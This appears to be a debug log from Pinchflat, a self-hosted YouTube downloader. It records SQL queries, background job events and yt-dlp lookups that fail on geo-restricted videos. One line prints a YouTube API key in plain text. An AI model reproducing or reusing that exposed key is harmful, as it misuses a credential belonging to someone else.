idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:41:40.366 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?,?)) [25, 36, 1, 2, 37] 15:41:40.399 [debug] QUERY OK source="media_items" db=32.7ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:41:40.400 [debug] QUERY OK source="media_items" db=0.6ms idle=36.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:41:40.400 [debug] QUERY OK source="sources" db=0.0ms idle=34.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 37] 15:41:40.401 [info] Sent 200 in 63ms 15:41:57.269 [info] {"source":"oban","duration":7702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.972 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:27.277 [info] {"source":"oban","duration":7885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:57.291 [info] {"source":"oban","duration":13252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.973 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:43:27.299 [info] {"source":"oban","duration":7366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:57.314 [info] {"source":"oban","duration":14386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.974 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:44:27.323 [info] {"source":"oban","duration":8019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:57.332 [info] {"source":"oban","duration":7773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.975 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:45:27.339 [info] {"source":"oban","duration":7645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:50.394 [info] {"args":{"id":6},"id":3799763,"meta":{},"system_time":1770759950394034687,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:45:50.395 [debug] QUERY OK source="sources" db=0.9ms idle=1515.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 15:45:50.396 [debug] QUERY OK source="settings" db=0.6ms idle=1516.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.396 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1011.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:45:50.399 [debug] QUERY OK source="settings" db=3.1ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.400 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 15:45:50.400 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.400 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:45:50.550 [debug] QUERY OK source="media_items" db=0.5ms idle=154.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 15:45:50.551 [debug] QUERY OK source="settings" db=0.0ms idle=155.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.551 [debug] QUERY OK source="settings" db=0.0ms idle=154.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.551 [debug] Running yt-dlp command for action: get_media_attributes 15:45:50.552 [debug] QUERY OK source="settings" db=0.0ms idle=152.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.552 [debug] QUERY OK source="settings" db=0.0ms idle=152.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.552 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:50.552 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ed/96/ed9609b13a7f5ea142bf0730fce311cb6b65e15a668c56b6d8dc3677a9578e3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:52.035 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ed/96/ed9609b13a7f5ea142bf0730fce311cb6b65e15a668c56b6d8dc3677a9578e3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:52.035 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:52.035 [debug] QUERY OK source="settings" db=0.1ms idle=649.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:52.035 [debug] QUERY OK source="settings" db=0.0ms idle=157.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:52.035 [debug] Running yt-dlp command for action: get_media_attributes 15:45:52.037 [debug] QUERY OK source="settings" db=0.0ms idle=158.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:52.037 [debug] QUERY OK source="settings" db=0.0ms idle=159.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:52.037 [debug] QUERY OK source="settings" db=0.0ms idle=159.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:45:52.037 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/42/d542e1b7a0a7771a243a32e915f7aa5a98b12975de2e0cbb8a123ba20092cfb2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:45:53.539 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d5/42/d542e1b7a0a7771a243a32e915f7aa5a98b12975de2e0cbb8a123ba20092cfb2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:45:53.539 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:45:53.539 [debug] QUERY OK source="settings" db=0.1ms idle=1502.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" 